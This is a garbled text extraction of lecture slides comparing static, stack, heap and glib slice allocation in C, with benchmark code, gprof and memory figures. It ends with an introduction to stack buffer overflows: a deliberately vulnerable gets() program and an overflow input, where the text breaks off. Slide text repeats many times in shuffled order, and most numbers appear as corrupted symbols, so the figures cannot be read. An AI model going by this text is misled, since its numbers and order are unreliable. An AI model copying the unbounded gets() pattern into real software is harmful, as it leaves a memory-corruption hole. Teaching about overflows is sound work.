local stack data is simply written consecutively allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B

Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom

† / ƒ A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B

Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively

† / ƒ A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B

Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively allocation is really nothing but altering a pointer

† / ƒ A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

For instance, let A and B be functions such that function A calls function B

Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data

† / ƒ A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B

† / ƒ B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B

† / ƒ Runtime allocation efficiency The Stack Stack allocation requires few ressources for the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

† / ƒ Heap management is a shared task of OS and userspace functions

If you are not happy with malloc, simply your own!

So the heap is just one big bunch of memory Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself

Traditionally, heap memory allocation is done by malloc, which is part of libc

Runtime allocation efficiency The Heap Unlike the stack, there is no such thing as a shared ”heap pointer”

‡ / ƒ Heap management is a shared task of OS and userspace functions

If you are not happy with malloc, simply write your own!

Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself

Traditionally, heap memory allocation is done by malloc, which is part of libc

Runtime allocation efficiency The Heap Unlike the stack, there is no such thing as a shared ”heap pointer” So the heap is just one big bunch of memory

‡ / ƒ If you are not happy with malloc, simply write your own!

Heap management is a shared task of OS and userspace functions Traditionally, heap memory allocation is done by malloc, which is part of libc

Runtime allocation efficiency The Heap Unlike the stack, there is no such thing as a shared ”heap pointer” So the heap is just one big bunch of memory Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself

‡ / ƒ If you are not happy with malloc, simply write your own!

Traditionally, heap memory allocation is done by malloc, which is part of libc

Runtime allocation efficiency The Heap Unlike the stack, there is no such thing as a shared ”heap pointer” So the heap is just one big bunch of memory Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself Heap management is a shared task of OS and userspace functions

‡ / ƒ If you are not happy with malloc, simply write your own!

Runtime allocation efficiency The Heap Unlike the stack, there is no such thing as a shared ”heap pointer” So the heap is just one big bunch of memory Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself Heap management is a shared task of OS and userspace functions Traditionally, heap memory allocation is done by malloc, which is part of libc

‡ / ƒ Runtime allocation efficiency The Heap Unlike the stack, there is no such thing as a shared ”heap pointer” So the heap is just one big bunch of memory Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself Heap management is a shared task of OS and userspace functions Traditionally, heap memory allocation is done by malloc, which is part of libc If you are not happy with malloc, simply write your own!

‡ / ƒ Runtime allocation efficiency The Heap Heap ( malloc )

ˆ / ƒ Runtime allocation efficiency The Heap Heap ( malloc ) char *firstPtr = malloc ( 2048 ) ;

char *secondPtr = malloc ( 512 ) ;

‰ / ƒ What happens if we want to allocate another ƒ€‡‚ bytes ? We actually have enough space in sum, though we can’t allocate one compound block

Runtime allocation efficiency The Heap Heap ( malloc ) free ( firstPtr ) ;

‚€ / ƒ We actually have enough space in sum, though we can’t allocate one compound block

Runtime allocation efficiency The Heap Heap ( malloc ) free ( firstPtr ) ;

What happens if we want to allocate another ƒ€‡‚ bytes ?

‚€ / ƒ Runtime allocation efficiency The Heap Heap ( malloc ) free ( firstPtr ) ;

What happens if we want to allocate another ƒ€‡‚ bytes ? We actually have enough space in sum, though we can’t allocate one compound block

‚€ / ƒ Runtime allocation efficiency The Heap Heap ( malloc ) - Fragmentation and Resizing char *thirdPtr = malloc ( 3072 ) ;

‚ / ƒ speed for maintaining a doubly linked list size due to fragmentation and extra management chunks added to the heap

Allocated data has no lifetime restrictions Allocation process suffers efficiency issues in terms of

Runtime allocation efficiency The Heap If you want to see malloc in action requesting OS memory, try the ”strace” program and watch for execution of brk / mmap functions

‚‚ / ƒ speed for maintaining a doubly linked list size due to fragmentation and extra management chunks added to the heap

Allocation process suffers efficiency issues in terms of

Runtime allocation efficiency The Heap If you want to see malloc in action requesting OS memory, try the ”strace” program and watch for execution of brk / mmap functions Allocated data has no lifetime restrictions

‚‚ / ƒ speed for maintaining a doubly linked list size due to fragmentation and extra management chunks added to the heap

Runtime allocation efficiency The Heap If you want to see malloc in action requesting OS memory, try the ”strace” program and watch for execution of brk / mmap functions Allocated data has no lifetime restrictions Allocation process suffers efficiency issues in terms of

‚‚ / ƒ size due to fragmentation and extra management chunks added to the heap

Runtime allocation efficiency The Heap If you want to see malloc in action requesting OS memory, try the ”strace” program and watch for execution of brk / mmap functions Allocated data has no lifetime restrictions Allocation process suffers efficiency issues in terms of speed for maintaining a doubly linked list

‚‚ / ƒ Runtime allocation efficiency The Heap If you want to see malloc in action requesting OS memory, try the ”strace” program and watch for execution of brk / mmap functions Allocated data has no lifetime restrictions Allocation process suffers efficiency issues in terms of speed for maintaining a doubly linked list size due to fragmentation and extra management chunks added to the heap

‚‚ / ƒ Runtime allocation efficiency Assumptions Now that we have an idea about how several allocation mechanism might perform, let’s see if reality proves it right

‚ƒ / ƒ Runtime allocation efficiency Static vs. Stack Static vs. Stack staticvsstack.c

1 #define NUMLOOPS (1000*1000*1000*2) 2 #defineMYSTRING"Hello,I ama string, actuallyI am not that horrible long thoughI can cause some serious performance impact." 3 4 void fillBufferFromStack ( char *destBuffer ) 5 { char myStackBuffer[] = MYSTRING ; 6 strcpy ( destBuffer, myStackBuffer ) ; } 7 8 void fillBufferFromStatic ( char *destBuffer ) 9 { static char myStaticBuffer[] = MYSTRING ; 10 strcpy ( destBuffer, myStaticBuffer ) ; } 11 12 int main ( void) 13 { 14 static char destBuffer[512] ; 15 for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ ) 16 fillBufferFromStack ( destBuffer ) ; 17 for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ ) 18 fillBufferFromStatic ( destBuffer ) ; 19 return(0); 20 }

‚„ / ƒ gprof results

1 % cumulative self self total 2 seconds seconds calls ns/call ns/call name 3 76.11 29.42 29.42 2000000000 14.71 14.71 fillBufferFromStack 4 11.05 33.69 4.27 2000000000 2.14 2.14 fillBufferFromStatic

Runtime allocation efficiency Static vs. Stack Static vs. Stack staticvsstack.c

1 #define NUMLOOPS (1000*1000*1000*2) 2 #defineMYSTRING"Hello,I ama string, actuallyI am not that horrible long thoughI can cause some serious performance impact." 3 4 void fillBufferFromStack ( char *destBuffer ) 5 { char myStackBuffer[] = MYSTRING ; 6 strcpy ( destBuffer, myStackBuffer ) ; } 7 8 void fillBufferFromStatic ( char *destBuffer ) 9 { static char myStaticBuffer[] = MYSTRING ; 10 strcpy ( destBuffer, myStaticBuffer ) ; }

‚„ / ƒ Runtime allocation efficiency Static vs. Stack Static vs. Stack staticvsstack.c

1 #define NUMLOOPS (1000*1000*1000*2) 2 #defineMYSTRING"Hello,I ama string, actuallyI am not that horrible long thoughI can cause some serious performance impact." 3 4 void fillBufferFromStack ( char *destBuffer ) 5 { char myStackBuffer[] = MYSTRING ; 6 strcpy ( destBuffer, myStackBuffer ) ; } 7 8 void fillBufferFromStatic ( char *destBuffer ) 9 { static char myStaticBuffer[] = MYSTRING ; 10 strcpy ( destBuffer, myStaticBuffer ) ; }

gprof results

1 % cumulative self self total 2 time seconds seconds calls ns/call ns/call name 3 76.11 29.42 29.42 2000000000 14.71 14.71 fillBufferFromStack 4 11.05 33.69 4.27 2000000000 2.14 2.14 fillBufferFromStatic

‚„ / ƒ Runtime allocation efficiency Stack vs. Heap Stack vs. Heap stackvsheap.c

1 #define NUMLOOPS (1000*1000*1000) 2 #define BUFSIZE 64 3 4 void allocateStack ( ) 5 { char myStackBuffer[BUFSIZE] ; 6 memset ( myStackBuffer, 0x66, BUFSIZE ) ; 7 } 8 9 void allocateHeap ( ) 10 { char *myHeapBuffer = malloc ( BUFSIZE ) ; 11 memset ( myHeapBuffer, 0x66, BUFSIZE ) ; 12 free ( myHeapBuffer ) ; 13 } 14 15 int main ( void) 16 { 17 for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ ) 18 allocateStack () ; 19 for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ ) 20 allocateHeap () ; 21 return(0); 22 }

‚ / ƒ gprof results

1 % cumulative self self total 2 time seconds seconds calls ns/call ns/call name 3 28.04 8.10 3.17 1000000000 3.17 3.17 allocateHeap 4 19.69 10.33 2.23 1000000000 2.23 2.23 allocateStack

Runtime allocation efficiency Stack vs. Heap Stack vs. Heap stackvsheap.c

1 #define NUMLOOPS (1000*1000*1000) 2 #define BUFSIZE 64 3 4 void allocateStack ( ) 5 { char myStackBuffer[BUFSIZE] ; 6 memset ( myStackBuffer, 0x66, BUFSIZE ) ; 7 } 8 9 void allocateHeap ( ) 10 { char *myHeapBuffer = malloc ( BUFSIZE ) ; 11 memset ( myHeapBuffer, 0x66, BUFSIZE ) ; 12 free ( myHeapBuffer ) ; 13 }

‚ / ƒ Runtime allocation efficiency Stack vs. Heap Stack vs. Heap stackvsheap.c

1 #define NUMLOOPS (1000*1000*1000) 2 #define BUFSIZE 64 3 4 void allocateStack ( ) 5 { char myStackBuffer[BUFSIZE] ; 6 memset ( myStackBuffer, 0x66, BUFSIZE ) ; 7 } 8 9 void allocateHeap ( ) 10 { char *myHeapBuffer = malloc ( BUFSIZE ) ; 11 memset ( myHeapBuffer, 0x66, BUFSIZE ) ; 12 free ( myHeapBuffer ) ; 13 }

gprof results

1 % cumulative self self total 2 time seconds seconds calls ns/call ns/call name 3 28.04 8.10 3.17 1000000000 3.17 3.17 allocateHeap 4 19.69 10.33 2.23 1000000000 2.23 2.23 allocateStack

‚ / ƒ Runtime allocation efficiency Malloc space consumption Malloc space consumption mallocsize.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = malloc ( ELEMENTSIZE ) ; 9 10 getchar () ; 11 12 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 13 free ( bufferPointers[i] ) ; 14 free ( bufferPointers ) ; 15 16 return(0); 17 }

‚† / ƒ /proc/‘pgrep mallocsize‘/status | VmRSS

1 VmRSS: 7340304 kB

Overhead : ‡ ˆM- „€‰†M- €‚„M = ‚€ƒˆM (~ €%)

Runtime allocation efficiency Malloc space consumption Malloc space consumption mallocsize.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = malloc ( ELEMENTSIZE ) ;

‚† / ƒ Overhead : ‡ ˆM- „€‰†M- €‚„M = ‚€ƒˆM (~ €%)

Runtime allocation efficiency Malloc space consumption Malloc space consumption mallocsize.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = malloc ( ELEMENTSIZE ) ;

cat /proc/‘pgrep mallocsize‘/status | grep VmRSS

1 VmRSS: 7340304 kB

‚† / ƒ Runtime allocation efficiency Malloc space consumption Malloc space consumption mallocsize.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = malloc ( ELEMENTSIZE ) ;

cat /proc/‘pgrep mallocsize‘/status | grep VmRSS

1 VmRSS: 7340304 kB

Overhead : ‡ ˆM- „€‰†M- €‚„M = ‚€ƒˆM (~ €%)

‚† / ƒ Oh wonder, yes, it can :)

specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

be the slowest allocation mechanism produce several overhead Can this probably be done efficiently ?

glib provides us with a slice allocator[]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to

‚‡ / ƒ Oh wonder, yes, it can :)

specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

produce several overhead Can this probably be done more efficiently ?

glib provides us with a slice allocator[]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism

‚‡ / ƒ Oh wonder, yes, it can :)

specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

Can this probably be done more efficiently ?

glib provides us with a slice allocator[]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead

‚‡ / ƒ specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

Oh wonder, yes, it can :) glib provides us with a slice allocator[]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ?

‚‡ / ƒ specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

glib provides us with a slice allocator[]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :)

‚‡ / ƒ specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :) glib provides us with a slice allocator[]

‚‡ / ƒ acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :) glib provides us with a slice allocator[] specialized on small allocations, implements a malloc fallback for big allocation

‚‡ / ƒ if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :) glib provides us with a slice allocator[] specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested

‚‡ / ƒ thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :) glib provides us with a slice allocator[] specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice

‚‡ / ƒ this principle is heavily based on the slab memory allocator[ƒ]

Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :) glib provides us with a slice allocator[] specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache

‚‡ / ƒ Runtime allocation efficiency Malloc space consumption Heap allocation via malloc turns out to be the slowest allocation mechanism produce several overhead Can this probably be done more efficiently ? Oh wonder, yes, it can :) glib provides us with a slice allocator[] specialized on small allocations, implements a malloc fallback for big allocation acts predictively by allocating a bunch of elements ( slice ) even if only one single element is requested if any further elements of that type are requested, they are simply taken from the slice thus it’s behaving like an allocation cache this principle is heavily based on the slab memory allocator[ƒ]

‚‡ / ƒ Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize Once a slice is fully occupied, another one is allocated If a slice element is freed, no more elements of that slice can be allocated A slice is freed once all its elements are freed

Runtime allocation efficiency Slice allocator Slice illustration

‚ˆ / ƒ Once a slice is fully occupied, another one is allocated If a slice element is freed, no more elements of that slice can be allocated A slice is freed once all its elements are freed

Runtime allocation efficiency Slice allocator Slice illustration

Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize

‚ˆ / ƒ If a slice element is freed, no more elements of that slice can be allocated A slice is freed once all its elements are freed

Runtime allocation efficiency Slice allocator Slice illustration

Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize Once a slice is fully occupied, another one is allocated

‚ˆ / ƒ A slice is freed once all its elements are freed

Runtime allocation efficiency Slice allocator Slice illustration

Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize Once a slice is fully occupied, another one is allocated If a slice element is freed, no more elements of that slice can be allocated

‚ˆ / ƒ Runtime allocation efficiency Slice allocator Slice illustration

Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize Once a slice is fully occupied, another one is allocated If a slice element is freed, no more elements of that slice can be allocated A slice is freed once all its elements are freed

‚ˆ / ƒ Runtime allocation efficiency Glib slice allocator vs. malloc g_slice_alloc space consumption slicesize_glib.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ; 9 10 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 11 g_slice_free1 ( ELEMENTSIZE, bufferPointers[i] ) ; 12 free ( bufferPointers ) ; 13 14 return(0); 15 }

‚‰ / ƒ cat /proc/‘pgrep slicesize_glib‘/status | grep VmRSS

1 VmRSS: 5842772 kB

Overhead : ‡€ M- „€‰†M- €‚„M = ˆ M (~„%)

Runtime allocation efficiency Glib slice allocator vs. malloc g_slice_alloc space consumption slicesize_glib.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;

‚‰ / ƒ Overhead : ‡€ M- „€‰†M- €‚„M = ˆ M (~„%)

Runtime allocation efficiency Glib slice allocator vs. malloc g_slice_alloc space consumption slicesize_glib.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;

cat /proc/‘pgrep slicesize_glib‘/status | grep VmRSS

1 VmRSS: 5842772 kB

‚‰ / ƒ Runtime allocation efficiency Glib slice allocator vs. malloc g_slice_alloc space consumption slicesize_glib.c

1 #define ELEMENTSIZE 32 2 #define NUMELEMENTS 1024*1024*128//4 Gigabyte 3 4 int main ( void) 5 { 6 char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*)); 7 for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ ) 8 bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;

cat /proc/‘pgrep slicesize_glib‘/status | grep VmRSS

1 VmRSS: 5842772 kB

Overhead : ‡€ M- „€‰†M- €‚„M = ˆ M (~„%)

‚‰ / ƒ malloc ƒ minutes, ‚„ seconds g_slice_alloc  minutes, ‚ seconds

What about the time? Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c ) Allocating €‚„*‚ˆ single buffers with an size of ƒ‚ bytes done €‚„*† times takes

Runtime allocation efficiency Glib slice allocator vs. malloc So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead

ƒ€ / ƒ malloc ƒ minutes, ‚„ seconds g_slice_alloc  minutes, ‚ seconds

Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c ) Allocating €‚„*‚ˆ single buffers with an size of ƒ‚ bytes done €‚„*† times takes

Runtime allocation efficiency Glib slice allocator vs. malloc So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead What about the time?

ƒ€ / ƒ malloc ƒ minutes, ‚„ seconds g_slice_alloc  minutes, ‚ seconds

Allocating €‚„*‚ˆ single buffers with an size of ƒ‚ bytes done €‚„*† times takes

Runtime allocation efficiency Glib slice allocator vs. malloc So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead What about the time? Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c )

ƒ€ / ƒ malloc ƒ minutes, ‚„ seconds g_slice_alloc  minutes, ‚ seconds

Runtime allocation efficiency Glib slice allocator vs. malloc So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead What about the time? Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c ) Allocating €‚„*‚ˆ single buffers with an size of ƒ‚ bytes done €‚„*† times takes

ƒ€ / ƒ g_slice_alloc  minutes, ‚ seconds

Runtime allocation efficiency Glib slice allocator vs. malloc So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead What about the time? Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c ) Allocating €‚„*‚ˆ single buffers with an size of ƒ‚ bytes done €‚„*† times takes malloc ƒ minutes, ‚„ seconds

ƒ€ / ƒ Runtime allocation efficiency Glib slice allocator vs. malloc So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead What about the time? Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c ) Allocating €‚„*‚ˆ single buffers with an size of ƒ‚ bytes done €‚„*† times takes malloc ƒ minutes, ‚„ seconds g_slice_alloc  minutes, ‚ seconds

ƒ€ / ƒ Runtime allocation efficiency Glib slice allocator vs. malloc Statistics of sample allocations

ƒ / ƒ slice allocators pool allocators[ˆ] dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

Best know your memory requirements beforehand Choose the right type of buffer fitting its purpose Look for alternative allocators

Runtime allocation efficiency Conclusion and outlook Tradeoff

ƒ‚ / ƒ slice allocators pool allocators[ˆ] dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

Choose the right type of buffer fitting its purpose Look for alternative allocators

Runtime allocation efficiency Conclusion and outlook Tradeoff

Best know your memory requirements beforehand

ƒ‚ / ƒ slice allocators pool allocators[ˆ] dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

Look for alternative allocators

Runtime allocation efficiency Conclusion and outlook Tradeoff

Best know your memory requirements beforehand Choose the right type of buffer fitting its purpose

ƒ‚ / ƒ slice allocators pool allocators[ˆ] dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

Runtime allocation efficiency Conclusion and outlook Tradeoff

Best know your memory requirements beforehand Choose the right type of buffer fitting its purpose Look for alternative allocators

ƒ‚ / ƒ pool allocators[ˆ] dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

Runtime allocation efficiency Conclusion and outlook Tradeoff

Best know your memory requirements beforehand Choose the right type of buffer fitting its purpose Look for alternative allocators slice allocators

ƒ‚ / ƒ dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

Runtime allocation efficiency Conclusion and outlook Tradeoff

Best know your memory requirements beforehand Choose the right type of buffer fitting its purpose Look for alternative allocators slice allocators pool allocators[ˆ]

ƒ‚ / ƒ Runtime allocation efficiency Conclusion and outlook Tradeoff

Best know your memory requirements beforehand Choose the right type of buffer fitting its purpose Look for alternative allocators slice allocators pool allocators[ˆ] dlmalloc[ ], tcmalloc[‚], jemalloc[„] ...

ƒ‚ / ƒ Security concerns Security concerns Know your enemy

It is said that if you know your enemies and know yourself, you will not be imperiled in a hundred battles. The Art of War, †€€ B.C.

The upcoming guide about how to successfully abuse vulnerable software is based on methods described by Elias ”Aleph One” Levy[†] and Jeffrey Turkstra[‡].

ƒƒ / ƒ Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 int main ( void) 10 { 11 askForName () ; 12 return(0); 13 }

ƒ„ / ƒ Program execution $ "Joshua" | ./basicoverflow.elf Program output Please enter your name : Hello Joshua

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

ƒ / ƒ Program output Please enter your name : Hello Joshua

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ echo "Joshua" | ./basicoverflow.elf

ƒ / ƒ Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ echo "Joshua" | ./basicoverflow.elf Program output Please enter your name : Hello Joshua

ƒ / ƒ Program execution $ echo "Lord Vader" | ./basicoverflow.elf Program output Please enter your name : Hello Lord Vader

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

ƒ† / ƒ Program output Please enter your name : Hello Lord Vader

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ echo "Lord Vader" | ./basicoverflow.elf

ƒ† / ƒ Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ echo "Lord Vader" | ./basicoverflow.elf Program output Please enter your name : Hello Lord Vader

ƒ† / ƒ Program execution $ python -c "print \"x\"*23" | ./basicoverflow.elf

